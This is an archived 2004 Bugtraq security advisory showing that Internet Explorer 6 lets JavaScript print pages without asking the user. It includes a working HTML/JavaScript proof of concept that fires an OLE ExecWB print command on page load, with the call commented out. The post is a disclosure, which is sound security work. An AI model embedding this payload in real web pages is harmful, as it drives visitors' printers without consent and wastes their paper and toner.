Bugtraq mailing list archives

IE 6 Print Without Prompt

From: Ben Garvey <bengarvey () comcast net>
Date: Mon, 12 Apr 2004 10:45:20 -0400

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                             Ben Garvey

Application:  Microsoft Internet Explorer

Versions:     6.0
Platforms:    Windows

Bugs: IE 6 allows JavaScript to send documents to the printerwithout prompting the user.

Exploitation: Client
Date:         12 April 2004
Author:       Ben Garvey
              bengarvey () comcast net
              http://www.bengarvey.com

              Bugtraq report format:  Thanks Luigi Auriemma!


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===============
1) Introduction
===============


Microsoft Internet Explorer is the dominant web browser on the world's PCs.
Any exploits or bugs found hurt millions of users.
Like anyone here needed to know that or is surprised.

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===============
2) Bug summary
===============

Using an OLE object, JavaScript, and HTML, IE 6 will allow a malicious
document to send pages to the printer without prompting the user.

Printing documents without prompting the user could result in the waste
of paper, toner, ink or result in damage to the printer.  If inserted into
a high traffic website this waste could be substantial.

$ of paper x printed sheets x web traffic x % of IE Users = $total wastein paper


If paper costs a penny per sheet ($5 for 500 sheets)

We average about 10 sheets printed per user before they realize what'shappening (conservative estimate)

It's used on a high traffic website (1 million unique visitors)
IE's market share is about 90%.

$0.01 x 10 per user x 1 million x 0.90 = $90,000 in damages

This doesn't even include costs associated with toner and time.


===============
3) Exploit
===============

The following is an example of the exploit. The offending line must beuncommented to activate it. Remove any linebreaks that break theJavaScript.


<HTML>
<HEAD>

<SCRIPT language="JavaScript">

function ieExecWB( intOLEcmd, intOLEparam )
{        // Create OLE Object

var WebBrowser = '<OBJECT ID="WebBrowser1" WIDTH=0 HEIGHT=0CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></OBJECT>';


         // Place Object on page
         document.body.insertAdjacentHTML('beforeEnd', WebBrowser);

         // if intOLEparam is not defined, set it

if ( ( ! intOLEparam ) || ( intOLEparam < -1 ) || (intOLEparam > 1) )

          intOLEparam = 1;

         // Execute Object
         WebBrowser1.ExecWB( intOLEcmd, intOLEparam );

         // Destroy Object
         WebBrowser1.outerHTML = "";
}

function printAll()
{       
        // Uncomment this to enable the exploit!
        //ieExecWB(6,-1);

}

</SCRIPT>

</HEAD>

<BODY onload="printAll()">

<h3>I like your PRINTER</h3>

</BODY>

</HTML>

===============
4) Conclusion
===============

I can't think of any reasonable use for allowing IE to print stuffwithout my permission.

This bug should be fixed as soon as possible.


-----
Ben Garvey
bengarvey () comcast net
http://www.bengarvey.com

Current thread:

IE 6 Print Without Prompt Ben Garvey (Apr 12)